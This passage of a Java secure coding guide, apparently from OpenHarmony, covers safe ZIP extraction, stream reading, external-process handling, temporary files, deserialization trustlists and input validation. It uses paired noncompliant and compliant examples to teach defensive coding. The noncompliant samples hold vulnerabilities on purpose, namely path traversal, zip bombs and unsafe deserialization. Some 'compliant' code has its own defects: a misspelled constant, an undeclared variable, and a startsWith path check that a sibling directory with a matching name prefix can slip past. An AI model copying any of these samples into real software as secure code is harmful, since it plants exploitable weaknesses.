482e41f4b71Sopenharmony_ciThis noncompliant code example does not validate the name of the file that is being unzipped. It passes the name directly to the constructor of `FileOutputStream`. It also fails to check the resource consumption of the file that is being unzipped. It permits the operation to run to completion or until local resources are exhausted.
483e41f4b71Sopenharmony_ci
484e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
485e41f4b71Sopenharmony_ci
486e41f4b71Sopenharmony_ci```java
487e41f4b71Sopenharmony_ciprivate static final long MAX_FILE_COUNT = 100L;
488e41f4b71Sopenharmony_ciprivate static final long MAX_TOTAL_FILE_SIZE = 1024L * 1024L;
489e41f4b71Sopenharmony_ci
490e41f4b71Sopenharmony_ci...
491e41f4b71Sopenharmony_ci
492e41f4b71Sopenharmony_cipublic void unzip(FileInputStream zipFileInputStream, String dir) throws IOException {
493e41f4b71Sopenharmony_ci    long fileCount = 0;
494e41f4b71Sopenharmony_ci    long totalFileSize = 0;
495e41f4b71Sopenharmony_ci
496e41f4b71Sopenharmony_ci    try (ZipInputStream zis = new ZipInputStream(zipFileInputStream)) {
497e41f4b71Sopenharmony_ci        ZipEntry entry;
498e41f4b71Sopenharmony_ci        String entryName;
499e41f4b71Sopenharmony_ci        String entryFilePath;
500e41f4b71Sopenharmony_ci        File entryFile;
501e41f4b71Sopenharmony_ci        byte[] buf = new byte[10240];
502e41f4b71Sopenharmony_ci        int length;
503e41f4b71Sopenharmony_ci
504e41f4b71Sopenharmony_ci        while ((entry = zis.getNextEntry()) != null) {
505e41f4b71Sopenharmony_ci            entryName = entry.getName();
506e41f4b71Sopenharmony_ci            entryFilePath = sanitizeFileName(entryName, dir);
507e41f4b71Sopenharmony_ci            entryFile = new File(entryFilePath);
508e41f4b71Sopenharmony_ci
509e41f4b71Sopenharmony_ci            if (entry.isDirectory()) {
510e41f4b71Sopenharmony_ci                creatDir(entryFile);
511e41f4b71Sopenharmony_ci                continue;
512e41f4b71Sopenharmony_ci            }
513e41f4b71Sopenharmony_ci
514e41f4b71Sopenharmony_ci            fileCount++;
515e41f4b71Sopenharmony_ci            if (fileCount > MAX_FILE_COUNT) {
516e41f4b71Sopenharmony_ci                throw new IOException("The ZIP package contains too many files.");
517e41f4b71Sopenharmony_ci            }
518e41f4b71Sopenharmony_ci
519e41f4b71Sopenharmony_ci            try (FileOutputStream fos = new FileOutputStream(entryFile)) {
520e41f4b71Sopenharmony_ci                while ((length = zis.read(buf)) != -1) {
521e41f4b71Sopenharmony_ci                    totalFileSize += length;
522e41f4b71Sopenharmony_ci                    zipBombCheck(totalFileSize);
523e41f4b71Sopenharmony_ci                    fos.write(buf, 0, length);
524e41f4b71Sopenharmony_ci                }
525e41f4b71Sopenharmony_ci            }
526e41f4b71Sopenharmony_ci        }
527e41f4b71Sopenharmony_ci    }
528e41f4b71Sopenharmony_ci}
529e41f4b71Sopenharmony_ci
530e41f4b71Sopenharmony_ciprivate String sanitizeFileName(String fileName, String dir) throws IOException {
531e41f4b71Sopenharmony_ci    file = new File(dir, fileName);
532e41f4b71Sopenharmony_ci    String canonicalPath = file.getCanonicalPath();
533e41f4b71Sopenharmony_ci    if (canonicalPath.startsWith(dir)) {
534e41f4b71Sopenharmony_ci        return canonicalPath;
535e41f4b71Sopenharmony_ci    }
536e41f4b71Sopenharmony_ci    throw new IOException("Path Traversal vulnerability: ...");
537e41f4b71Sopenharmony_ci}
538e41f4b71Sopenharmony_ci
539e41f4b71Sopenharmony_ciprivate void creatDir(File dirPath) throws IOException {
540e41f4b71Sopenharmony_ci    boolean result = dirPath.mkdirs();
541e41f4b71Sopenharmony_ci    if (!result) {
542e41f4b71Sopenharmony_ci        throw new IOException("Create dir failed, path is : " + dirPath.getPath());
543e41f4b71Sopenharmony_ci    }
544e41f4b71Sopenharmony_ci    ...
545e41f4b71Sopenharmony_ci}
546e41f4b71Sopenharmony_ci
547e41f4b71Sopenharmony_ciprivate void zipBombCheck(long totalFileSize) throws IOException {
548e41f4b71Sopenharmony_ci    if (totalFileSize > MAX_TOTAL_FILE_SIZEG) {
549e41f4b71Sopenharmony_ci        throw new IOException("Zip Bomb! The size of the file extracted from the ZIP package is too large.");
550e41f4b71Sopenharmony_ci    }
551e41f4b71Sopenharmony_ci}
552e41f4b71Sopenharmony_ci```
553e41f4b71Sopenharmony_ci
554e41f4b71Sopenharmony_ciThis compliant code example validates the name of each file before unzipping it. If a file name is invalid, the extraction is aborted. In fact, a compliant solution could also skip that file and continue the extraction process, or extract the file to a safe location. Furthermore, the code inside the while loop tracks the total size of extracted files and throws an exception if the total size hits the upper limit **MAX\_TOTAL\_FILE\_SIZE**. The code also counts the number of file entries in the ZIP archive and throws an exception if the total number of files hits the upper limit **MAX\_FILE\_COUNT**.
555e41f4b71Sopenharmony_ci
556e41f4b71Sopenharmony_ciNote: `entry.getSize()` reads the pre-decompression size of individual files from a fixed field, which may have been tampered with. Therefore, do not use `entry.getSize()` to collect statistics about the extracted file size.
557e41f4b71Sopenharmony_ci
558e41f4b71Sopenharmony_ci## Use integer return type of methods that read a character or byte from a stream
559e41f4b71Sopenharmony_ci
560e41f4b71Sopenharmony_ci**\[Description]**
561e41f4b71Sopenharmony_ci
562e41f4b71Sopenharmony_ciThe `InputStream.read()` and `Reader.read()` methods are used to read a byte or character, respectively, from a stream.
563e41f4b71Sopenharmony_ci
564e41f4b71Sopenharmony_ciThe `InputStream.read()` method reads a single byte from an input source and returns its value as an 8-bit integer in the range 0x00 to 0xff. The `Reader.read()` method reads a single character and returns its value as a 16-bit integer in the range 0x0000 to 0xffff. 
565e41f4b71Sopenharmony_ci
566e41f4b71Sopenharmony_ciBoth methods return the 32-bit integer –1 (0xffffffff) to indicate that the end of the stream has been reached and no data is available. 
567e41f4b71Sopenharmony_ci
568e41f4b71Sopenharmony_ciPrematurely converting the resulting integer to a **byte** or **char** before testing for the value −1 (0xffffffff) makes it impossible to distinguish between characters read and the end of stream indicator.
569e41f4b71Sopenharmony_ci
570e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (**byte**)
571e41f4b71Sopenharmony_ci
572e41f4b71Sopenharmony_ci```java
573e41f4b71Sopenharmony_ciFileInputStream in = getReadableStream();
574e41f4b71Sopenharmony_ci
575e41f4b71Sopenharmony_cibyte data;
576e41f4b71Sopenharmony_ciwhile ((data = (byte) in.read()) != -1) {
577e41f4b71Sopenharmony_ci    //Use data
578e41f4b71Sopenharmony_ci    ...
579e41f4b71Sopenharmony_ci}
580e41f4b71Sopenharmony_ci```
581e41f4b71Sopenharmony_ci
582e41f4b71Sopenharmony_ciThis noncompliant code example casts the value returned by the `read()` method directly to a value of the **byte** type and then compares this value with −1 in an attempt to detect the end of the stream. If the `read()` method returns 0xff which is then converted into a signed byte value –1, it will be incorrectly taken as the end of the stream.
583e41f4b71Sopenharmony_ci
584e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (**char**)
585e41f4b71Sopenharmony_ci
586e41f4b71Sopenharmony_ci```java
587e41f4b71Sopenharmony_ciInputStreamReader in = getReader();
588e41f4b71Sopenharmony_ci
589e41f4b71Sopenharmony_cichar data;
590e41f4b71Sopenharmony_ciwhile ((data = (char) in.read()) != -1) {
591e41f4b71Sopenharmony_ci    //Use data
592e41f4b71Sopenharmony_ci    ...
593e41f4b71Sopenharmony_ci}
594e41f4b71Sopenharmony_ci```
595e41f4b71Sopenharmony_ci
596e41f4b71Sopenharmony_ciThis noncompliant code example casts the value returned by the `read()` method directly to a value of the **char** type and then compares this value with −1 in an attempt to detect the end of the stream. When the end of stream is read, the return value cast to the **char** type is not −1. Consequently, the while loop cannot properly end. The reason is as follows: When the end of stream indicator –1 (0xffffffff) is forcibly converted to the **char** type, it will be converted to 0xffff, instead of –1. Consequently, the test for the end of file never evaluates to true.
597e41f4b71Sopenharmony_ci
598e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**byte**)
599e41f4b71Sopenharmony_ci
600e41f4b71Sopenharmony_ci```java
601e41f4b71Sopenharmony_ciFileInputStream in = getReadableStream();
602e41f4b71Sopenharmony_ci
603e41f4b71Sopenharmony_cibyte data;
604e41f4b71Sopenharmony_ciint result;
605e41f4b71Sopenharmony_ciwhile ((result = in.read()) != -1) {
606e41f4b71Sopenharmony_ci    data = (byte) result;
607e41f4b71Sopenharmony_ci    //Use data
608e41f4b71Sopenharmony_ci    ...
609e41f4b71Sopenharmony_ci}
610e41f4b71Sopenharmony_ci```
611e41f4b71Sopenharmony_ci
612e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**char**)
613e41f4b71Sopenharmony_ci
614e41f4b71Sopenharmony_ci```java
615e41f4b71Sopenharmony_ciInputStreamReader in = getReader();
616e41f4b71Sopenharmony_ci
617e41f4b71Sopenharmony_cichar data;
618e41f4b71Sopenharmony_ciint result;
619e41f4b71Sopenharmony_ciwhile ((result = in.read()) != -1) {
620e41f4b71Sopenharmony_ci    data = (char) result;
621e41f4b71Sopenharmony_ci    //Use data
622e41f4b71Sopenharmony_ci    ...
623e41f4b71Sopenharmony_ci}
624e41f4b71Sopenharmony_ci```
625e41f4b71Sopenharmony_ci
626e41f4b71Sopenharmony_ciThis compliant code example uses a variable of the **int** type to capture the value returned by `read()`, and uses the return value to determine whether the end of stream is read. If the end of stream is not read, the read content is converted to the **char** or **byte** type, so as to avoid misinterpretation of the end of stream.
627e41f4b71Sopenharmony_ci
628e41f4b71Sopenharmony_ci## Do not let external processes block on input and output streams
629e41f4b71Sopenharmony_ci
630e41f4b71Sopenharmony_ci**\[Description]**
631e41f4b71Sopenharmony_ci
632e41f4b71Sopenharmony_ciTwo methods can be used to invoke external processes:
633e41f4b71Sopenharmony_ci
634e41f4b71Sopenharmony_ci1. **exec()** of **java.lang.Runtime**
635e41f4b71Sopenharmony_ci2. **start()** of **java.lang.ProcessBuilder**
636e41f4b71Sopenharmony_ci
637e41f4b71Sopenharmony_ciThey all return a **java.lang.Process** object which has encapsulated the external processes.
638e41f4b71Sopenharmony_ci
639e41f4b71Sopenharmony_ciThis process contains an input stream, output stream, and error stream, which must be properly handled to prevent them from being blocked by external processes.
640e41f4b71Sopenharmony_ci
641e41f4b71Sopenharmony_ciIncorrect handling can cause unexpected exceptions, DoS, and other security problems.
642e41f4b71Sopenharmony_ci
643e41f4b71Sopenharmony_ci1\. Handling the input stream (`Process.getOutputStream()`) of an external process: **From the invoker's perspective, the input stream of an external process is its output stream**: A process that tries to read input on an empty input stream will block until input is supplied.
644e41f4b71Sopenharmony_ci
645e41f4b71Sopenharmony_ci2\. Handling the output stream (`Process.getInputStream()`) and error stream (`Process.getErrorStream()`) of an external process: If the external process to be invoked has both output and error streams and the streams are not emptied, the output of the process may exhaust the buffer of the output and error streams. Consequently, the external process is blocked, and the interaction between the invoker and external process is affected. When `java.lang.ProcessBuilder` is used to invoke an external process, the error stream of the process can be redirected to the output stream using the `redirectErrorStream()` method, and the invoker can empty the output stream so that the error stream is emptied together.
646e41f4b71Sopenharmony_ci
647e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Incorrectly Handling the Return Result of an External Process)
648e41f4b71Sopenharmony_ci
649e41f4b71Sopenharmony_ci```java
650e41f4b71Sopenharmony_cipublic void execExtProcess() throws IOException {
651e41f4b71Sopenharmony_ci    Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning");
652e41f4b71Sopenharmony_ci    int exitVal = proc.exitValue();
653e41f4b71Sopenharmony_ci}
654e41f4b71Sopenharmony_ci```
655e41f4b71Sopenharmony_ci
656e41f4b71Sopenharmony_ciIn this noncompliant code example, the program invokes the `exitValue()` method when the ProcessMaybeStillRunning process has not terminated, which may result in an `IllegalThreadStateException`.
657e41f4b71Sopenharmony_ci
658e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Failure to Handle the Output and Error Streams of an External Process)
659e41f4b71Sopenharmony_ci
660e41f4b71Sopenharmony_ci```java
661e41f4b71Sopenharmony_cipublic void execExtProcess() throws IOException, InterruptedException {
662e41f4b71Sopenharmony_ci    Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning");
663e41f4b71Sopenharmony_ci    int exitVal = proc.waitFor();
664e41f4b71Sopenharmony_ci}
665e41f4b71Sopenharmony_ci```
666e41f4b71Sopenharmony_ci
667e41f4b71Sopenharmony_ciDifferent from the previous example, this example will not result in an `IllegalThreadStateException`. However, the security problems described in the "Description" part may occur since the output and error streams of ProcessMaybeStillRunning are not handled.
668e41f4b71Sopenharmony_ci
669e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
670e41f4b71Sopenharmony_ci
671e41f4b71Sopenharmony_ci```java
672e41f4b71Sopenharmony_cipublic class ProcessExecutor {
673e41f4b71Sopenharmony_ci    public void callExtProcess() throws IOException, InterruptedException {
674e41f4b71Sopenharmony_ci        Process proc = Runtime.getRuntime().exec("ProcessHasOutput");
675e41f4b71Sopenharmony_ci
676e41f4b71Sopenharmony_ci        StreamConsumer errConsumer = new StreamConsumer(proc.getErrorStream());
677e41f4b71Sopenharmony_ci        StreamConsumer outputConsumer = new StreamConsumer(proc.getInputStream());
678e41f4b71Sopenharmony_ci
679e41f4b71Sopenharmony_ci        errConsumer.start();
680e41f4b71Sopenharmony_ci        outputConsumer.start();
681e41f4b71Sopenharmony_ci
682e41f4b71Sopenharmony_ci        int exitVal = proc.waitFor();
683e41f4b71Sopenharmony_ci
684e41f4b71Sopenharmony_ci        errConsumer.join();
685e41f4b71Sopenharmony_ci        outputConsumer.join();
686e41f4b71Sopenharmony_ci    }
687e41f4b71Sopenharmony_ci
688e41f4b71Sopenharmony_ci    class StreamConsumer extends Thread {
689e41f4b71Sopenharmony_ci        InputStream is;
690e41f4b71Sopenharmony_ci
691e41f4b71Sopenharmony_ci        StreamConsumer(InputStream is) {
692e41f4b71Sopenharmony_ci            this.is = is;
693e41f4b71Sopenharmony_ci        }
694e41f4b71Sopenharmony_ci
695e41f4b71Sopenharmony_ci        @Override
696e41f4b71Sopenharmony_ci        public void run() {
697e41f4b71Sopenharmony_ci            try {
698e41f4b71Sopenharmony_ci                byte data;
699e41f4b71Sopenharmony_ci                int result;
700e41f4b71Sopenharmony_ci                while ((result = is.read()) != -1) {
701e41f4b71Sopenharmony_ci                    data = (byte) result;
702e41f4b71Sopenharmony_ci                    handleData(data);
703e41f4b71Sopenharmony_ci                }
704e41f4b71Sopenharmony_ci            } catch (IOException ex) {
705e41f4b71Sopenharmony_ci                //Handle the exception
706e41f4b71Sopenharmony_ci            }
707e41f4b71Sopenharmony_ci        }
708e41f4b71Sopenharmony_ci
709e41f4b71Sopenharmony_ci        private void handleData(byte data) {
710e41f4b71Sopenharmony_ci            ...
711e41f4b71Sopenharmony_ci        }
712e41f4b71Sopenharmony_ci    }
713e41f4b71Sopenharmony_ci}
714e41f4b71Sopenharmony_ci```
715e41f4b71Sopenharmony_ci
716e41f4b71Sopenharmony_ciThis compliant code example spawns two threads to read the output and error streams, so that the external process will not indefinitely block on the streams.
717e41f4b71Sopenharmony_ci
718e41f4b71Sopenharmony_ci**\[Exception]**
719e41f4b71Sopenharmony_ci
720e41f4b71Sopenharmony_ciExternal processes that do not use input, output, or error streams do not need stream handling.
721e41f4b71Sopenharmony_ci
722e41f4b71Sopenharmony_ci## Promptly remove temporary files after use
723e41f4b71Sopenharmony_ci
724e41f4b71Sopenharmony_ci**\[Description]**
725e41f4b71Sopenharmony_ci
726e41f4b71Sopenharmony_ciTemporary files can be used for many purposes, for example, sharing data between processes, caching memory data, and dynamically constructing class files and library files. They may be created in the shared temporary file directory of the operating system. Files in such a directory may be regularly cleaned up, for example, every night or at system restart. However, if the files are not securely created or are still accessible after fulfilling the intended purpose, an attacker who has access to the local file system can perform operations on the files in shared directories. Removing temporary files when they are no longer required allows file names and other resources (such as secondary storage) to be recycled. Each program is responsible for ensuring that temporary files are removed during normal operation.
727e41f4b71Sopenharmony_ci
728e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
729e41f4b71Sopenharmony_ci
730e41f4b71Sopenharmony_ci```java
731e41f4b71Sopenharmony_cipublic boolean uploadFile(InputStream in) throws IOException {
732e41f4b71Sopenharmony_ci    File tempFile = File.createTempFile("tempname", ".tmp");
733e41f4b71Sopenharmony_ci    try (FileOutputStream fop = new FileOutputStream(tempFile)) {
734e41f4b71Sopenharmony_ci        int readSize;
735e41f4b71Sopenharmony_ci        do {
736e41f4b71Sopenharmony_ci            readSize = in.read(buffer, 0, MAX_BUFF_SIZE);
737e41f4b71Sopenharmony_ci            if (readSize > 0) {
738e41f4b71Sopenharmony_ci                fop.write(buffer, 0, readSize);
739e41f4b71Sopenharmony_ci            }
740e41f4b71Sopenharmony_ci        } while (readSize >= 0);
741e41f4b71Sopenharmony_ci        ... //Perform other operations on the temporary file
742e41f4b71Sopenharmony_ci    }
743e41f4b71Sopenharmony_ci}
744e41f4b71Sopenharmony_ci```
745e41f4b71Sopenharmony_ci
746e41f4b71Sopenharmony_ciIn this noncompliant code example, the temporary file is not removed upon completion.
747e41f4b71Sopenharmony_ci
748e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
749e41f4b71Sopenharmony_ci
750e41f4b71Sopenharmony_ci```java
751e41f4b71Sopenharmony_cipublic boolean uploadFile(InputStream in) throws IOException {
752e41f4b71Sopenharmony_ci    File tempFile = File.createTempFile("tempname", ".tmp");
753e41f4b71Sopenharmony_ci    try (FileOutputStream fop = new FileOutputStream(tempFile)) {
754e41f4b71Sopenharmony_ci        int readSize;
755e41f4b71Sopenharmony_ci        do {
756e41f4b71Sopenharmony_ci            readSize = in.read(buffer, 0, MAX_BUFF_SIZE);
757e41f4b71Sopenharmony_ci            if (readSize > 0) {
758e41f4b71Sopenharmony_ci                fop.write(buffer, 0, readSize);
759e41f4b71Sopenharmony_ci            }
760e41f4b71Sopenharmony_ci        } while (readSize >= 0);
761e41f4b71Sopenharmony_ci        ... //Perform other operations on the temporary file
762e41f4b71Sopenharmony_ci    } finally {
763e41f4b71Sopenharmony_ci        if (!tempFile.delete()) {
764e41f4b71Sopenharmony_ci            //Ignore
765e41f4b71Sopenharmony_ci        }
766e41f4b71Sopenharmony_ci    }
767e41f4b71Sopenharmony_ci}
768e41f4b71Sopenharmony_ci```
769e41f4b71Sopenharmony_ci
770e41f4b71Sopenharmony_ciIn this compliant code example, the **finally** statement removes the temporary file after using it.
771e41f4b71Sopenharmony_ci
772e41f4b71Sopenharmony_ci# Serialization
773e41f4b71Sopenharmony_ci
774e41f4b71Sopenharmony_ci#### Do not deserialize external data directly
775e41f4b71Sopenharmony_ci
776e41f4b71Sopenharmony_ci**\[Description]**
777e41f4b71Sopenharmony_ci
778e41f4b71Sopenharmony_ciDeserialization is the process of deserializing a binary stream or string into a Java object. Deserializing external data can cause an attacker to construct a specified object, execute malicious code, inject malicious data into an application, or perform other malicious operations. Insecure deserialization can lead to attacks such as arbitrary code execution, privilege escalation, arbitrary file access, and DoS.
779e41f4b71Sopenharmony_ci
780e41f4b71Sopenharmony_ciThird-party components are usually used to serialize and deserialize data in JSON, XML, and YAML formats. Common third-party components include fastjson, jackson, XMLDecoder, XStream, and SnakeYmal.
781e41f4b71Sopenharmony_ci
782e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
783e41f4b71Sopenharmony_ci
784e41f4b71Sopenharmony_ci```java
785e41f4b71Sopenharmony_cipublic class DeserializeExample implements Serializable {
786e41f4b71Sopenharmony_ci    private static final long serialVersionUID = -5809782578272943999L;
787e41f4b71Sopenharmony_ci
788e41f4b71Sopenharmony_ci    private String name;
789e41f4b71Sopenharmony_ci
790e41f4b71Sopenharmony_ci    public String getName() {
791e41f4b71Sopenharmony_ci        return name;
792e41f4b71Sopenharmony_ci    }
793e41f4b71Sopenharmony_ci
794e41f4b71Sopenharmony_ci    public void setName(String name) {
795e41f4b71Sopenharmony_ci        this.name = name;
796e41f4b71Sopenharmony_ci    }
797e41f4b71Sopenharmony_ci
798e41f4b71Sopenharmony_ci    private void readObject(java.io.ObjectInputStream ois) {
799e41f4b71Sopenharmony_ci        ois.defaultReadObject();
800e41f4b71Sopenharmony_ci        System.out.println("Hack!");
801e41f4b71Sopenharmony_ci    }
802e41f4b71Sopenharmony_ci}
803e41f4b71Sopenharmony_ci
804e41f4b71Sopenharmony_ci    //Deserialize external data
805e41f4b71Sopenharmony_ci    ObjectInputStream ois2= new ObjectInputStream(fis);
806e41f4b71Sopenharmony_ci    PersonInfo myPerson = (PersonInfo) ois2.readObject();
807e41f4b71Sopenharmony_ci```
808e41f4b71Sopenharmony_ci
809e41f4b71Sopenharmony_ciIn this noncompliant code example, when the object of the deserialization operation is the serialization result of the **DeserializeExample** object constructed by the attacker, an error will be reported when the `PersonInfo myPerson = (PersonInfo) ois2.readObject()` statement is executed, but the attack code in the `readObject()` method of the **DeserializeExample** object is executed.
810e41f4b71Sopenharmony_ci
811e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Trustlist Validation)
812e41f4b71Sopenharmony_ci
813e41f4b71Sopenharmony_ci```java
814e41f4b71Sopenharmony_cipublic final class SecureObjectInputStream extends ObjectInputStream {
815e41f4b71Sopenharmony_ci    public SecureObjectInputStream() throws SecurityException, IOException {
816e41f4b71Sopenharmony_ci        super();
817e41f4b71Sopenharmony_ci    }
818e41f4b71Sopenharmony_ci
819e41f4b71Sopenharmony_ci    public SecureObjectInputStream(InputStream in) throws IOException {
820e41f4b71Sopenharmony_ci        super(in);
821e41f4b71Sopenharmony_ci    }
822e41f4b71Sopenharmony_ci
823e41f4b71Sopenharmony_ci    protected Class<?> resolveClass(ObjectStreamClass desc)
824e41f4b71Sopenharmony_ci        throws IOException, ClassNotFoundException {
825e41f4b71Sopenharmony_ci        if (!desc.getName().equals("com.xxxx.PersonInfo")) {//Trustlist validation
826e41f4b71Sopenharmony_ci            throw new ClassNotFoundException(desc.getName() + " not find");
827e41f4b71Sopenharmony_ci        }
828e41f4b71Sopenharmony_ci        return super.resolveClass(desc);
829e41f4b71Sopenharmony_ci    }
830e41f4b71Sopenharmony_ci}
831e41f4b71Sopenharmony_ci```
832e41f4b71Sopenharmony_ci
833e41f4b71Sopenharmony_ciIn this compliant code example, trustlist validation is performed on the class to be deserialized by reloading the `resolveClass()` method in the customized **ObjectInputStream**. It throws an exception when the class name is not in the trustlist.
834e41f4b71Sopenharmony_ci
835e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Using Security Manager)
836e41f4b71Sopenharmony_ci
837e41f4b71Sopenharmony_ciIt is advised to use the Java security manager provided by the product wherever available.
838e41f4b71Sopenharmony_ci
839e41f4b71Sopenharmony_ci(1) Set **enableSubclassImplementation**.
840e41f4b71Sopenharmony_ci
841e41f4b71Sopenharmony_ci```
842e41f4b71Sopenharmony_cipermission java.io.SerializablePermission "enableSubclassImplementation";
843e41f4b71Sopenharmony_ci
844e41f4b71Sopenharmony_ci```
845e41f4b71Sopenharmony_ci
846e41f4b71Sopenharmony_ci(2) Customize **ObjectInputStream** and reload **resolveClass**.
847e41f4b71Sopenharmony_ci
848e41f4b71Sopenharmony_ci```java
849e41f4b71Sopenharmony_cipublic final class HWObjectInputStream extends ObjectInputStream {
850e41f4b71Sopenharmony_ci    public HWObjectInputStream() throws SecurityException, IOException {
851e41f4b71Sopenharmony_ci        super();
852e41f4b71Sopenharmony_ci    }
853e41f4b71Sopenharmony_ci
854e41f4b71Sopenharmony_ci    public HWObjectInputStream(InputStream in) throws IOException {
855e41f4b71Sopenharmony_ci        super(in);
856e41f4b71Sopenharmony_ci    }
857e41f4b71Sopenharmony_ci
858e41f4b71Sopenharmony_ci    protected Class<?> resolveClass(ObjectStreamClass desc)
859e41f4b71Sopenharmony_ci        throws IOException, ClassNotFoundException {
860e41f4b71Sopenharmony_ci        SecurityManager sm = System.getSecurityManager();
861e41f4b71Sopenharmony_ci        if (sm != null) {
862e41f4b71Sopenharmony_ci            sm.checkPermission(new SerializablePermission(
863e41f4b71Sopenharmony_ci                "com.xxxx." + desc.getName()));
864e41f4b71Sopenharmony_ci        }
865e41f4b71Sopenharmony_ci        return super.resolveClass(desc);
866e41f4b71Sopenharmony_ci    }
867e41f4b71Sopenharmony_ci}
868e41f4b71Sopenharmony_ci```
869e41f4b71Sopenharmony_ci
870e41f4b71Sopenharmony_ci(3) Set a trustlist in the policy file.
871e41f4b71Sopenharmony_ci
872e41f4b71Sopenharmony_ci```
873e41f4b71Sopenharmony_cipermission java.io.SerializablePermission "com.xxxx.PersonInfo";
874e41f4b71Sopenharmony_ci
875e41f4b71Sopenharmony_ci```
876e41f4b71Sopenharmony_ci
877e41f4b71Sopenharmony_ci# External Data Validation
878e41f4b71Sopenharmony_ci
879e41f4b71Sopenharmony_ci## Validate external data before using it
880e41f4b71Sopenharmony_ci
881e41f4b71Sopenharmony_ci**\[Description]**
882e41f4b71Sopenharmony_ci
883e41f4b71Sopenharmony_ciExternal data includes but is not limited to the network data, user input (including input in command lines and UIs), commands, files (including program configuration files), environment variables, and inter-process communication (including pipes, messages, shared memory, sockets, and RPCs), and cross-trust domain method parameters (for APIs).
884e41f4b71Sopenharmony_ci
885e41f4b71Sopenharmony_ciData outside the program is generally considered untrusted. Validation must be performed before using such data. Otherwise, incorrect calculation results, runtime exceptions, inconsistent object status, and injection attacks may occur, severely affecting the system.
886e41f4b71Sopenharmony_ci
887e41f4b71Sopenharmony_ci**External data validation includes:**
888e41f4b71Sopenharmony_ci
889e41f4b71Sopenharmony_ci- API parameter validation
890e41f4b71Sopenharmony_ci- Data length validation
891e41f4b71Sopenharmony_ci- Data range validation
892e41f4b71Sopenharmony_ci- Data type and format validation
893e41f4b71Sopenharmony_ci- Set size validation
894e41f4b71Sopenharmony_ci- Validation to ensure that external data only contains permitted characters (trustlist validation), with special attention to special characters in certain cases
895e41f4b71Sopenharmony_ci
896e41f4b71Sopenharmony_ciPay attention to the following points when validating external data:
897e41f4b71Sopenharmony_ci
898e41f4b71Sopenharmony_ci- Canonicalize external data before validation wherever necessary. For example, both **"\\uFE64"** and **\<** can represent **\<**. In web applications, if external input is not canonicalized, **"\\uFE64"** can be used to circumvent restrictions on **\<**.
899e41f4b71Sopenharmony_ci- Modifications to external data must be done before validation to ensure that the validated data is exactly the data to be used.
900e41f4b71Sopenharmony_ci
901e41f4b71Sopenharmony_ciFor performance and code simplicity, the provider validates only the request information for RESTful APIs, and the consumer validates only the response result. For a method in a call chain, the outermost external public method must be validated, and the internal public method does not need to be validated.
902e41f4b71Sopenharmony_ci
903e41f4b71Sopenharmony_ci**Common validation frameworks:**
904e41f4b71Sopenharmony_ci
905e41f4b71Sopenharmony_ciInterface: The JSR 380 (Bean Validation 2.0) and JSR 303 (Bean Validation 1.0) JavaBean parameter validation standards defines the core interface **javax.validation.Validator** and many common validation annotations. 
906e41f4b71Sopenharmony_ciImplementation: hibernate-validator and Spring validator
907e41f4b71Sopenharmony_ci
908e41f4b71Sopenharmony_ci- hibernate-validator is an implementation of JSR 380 and JSR 303 standards, which extends annotations such as @Email, @Length, @NotEmpty, and @Range.
909e41f4b71Sopenharmony_ci- Spring validator is also an implementation of JSR 380 and JSR 303, and provides the **MethodValidationPostProcessor** class for validating methods.
910e41f4b71Sopenharmony_ci
911e41f4b71Sopenharmony_ciThe product can select a proper validation framework or develop one.
912e41f4b71Sopenharmony_ci
913e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
914e41f4b71Sopenharmony_ci
915e41f4b71Sopenharmony_ci```java
916e41f4b71Sopenharmony_ci/**
917e41f4b71Sopenharmony_ci * Change company information
918e41f4b71Sopenharmony_ci *
919e41f4b71Sopenharmony_ci * @param companies New and old company information
920e41f4b71Sopenharmony_ci * @return Whether the company information is changed successfully
921e41f4b71Sopenharmony_ci */
922e41f4b71Sopenharmony_ci@RequestMapping(value = "/updating", method = RequestMethod.POST)
923e41f4b71Sopenharmony_cipublic boolean updateCompany(@RequestBody Companies companies) {
924e41f4b71Sopenharmony_ci    return employeeService.updateCompany(companies.getSrcCompany(),
925e41f4b71Sopenharmony_ci        companies.getDestCompany());
926e41f4b71Sopenharmony_ci}
927e41f4b71Sopenharmony_ci```
928e41f4b71Sopenharmony_ci
929e41f4b71Sopenharmony_ciIn this noncompliant code example, the `updateCompany()` interface opened by the provider fails to validate the request, which may lead to attacks.
930e41f4b71Sopenharmony_ci
931e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
932e41f4b71Sopenharmony_ci
933e41f4b71Sopenharmony_ci```java
934e41f4b71Sopenharmony_ci/**
935e41f4b71Sopenharmony_ci * Change company information
936e41f4b71Sopenharmony_ci *
937e41f4b71Sopenharmony_ci * @param companies New and old company information
938e41f4b71Sopenharmony_ci * @return Whether the company information is changed successfully
939e41f4b71Sopenharmony_ci */
940e41f4b71Sopenharmony_ci@RequestMapping(value = "/updating", method = RequestMethod.POST)
941e41f4b71Sopenharmony_cipublic boolean updateCompany(@RequestBody @Valid @NotNull Companies companies) {
942e41f4b71Sopenharmony_ci    return employeeService.updateCompany(
943e41f4b71Sopenharmony_ci        companies.getSrcCompany(), companies.getDestCompany());
944e41f4b71Sopenharmony_ci}
945e41f4b71Sopenharmony_ci
946e41f4b71Sopenharmony_ci@Setter
947e41f4b71Sopenharmony_ci@Getter
948e41f4b71Sopenharmony_cipublic class Companies {
949e41f4b71Sopenharmony_ci    @Valid
950e41f4b71Sopenharmony_ci    @NotNull
951e41f4b71Sopenharmony_ci    private Company srcCompany;
952e41f4b71Sopenharmony_ci
953e41f4b71Sopenharmony_ci    @Valid
954e41f4b71Sopenharmony_ci    @NotNull
955e41f4b71Sopenharmony_ci    private Company destCompany;
956e41f4b71Sopenharmony_ci}
957e41f4b71Sopenharmony_ci
958e41f4b71Sopenharmony_ci@Setter
959e41f4b71Sopenharmony_ci@Getter
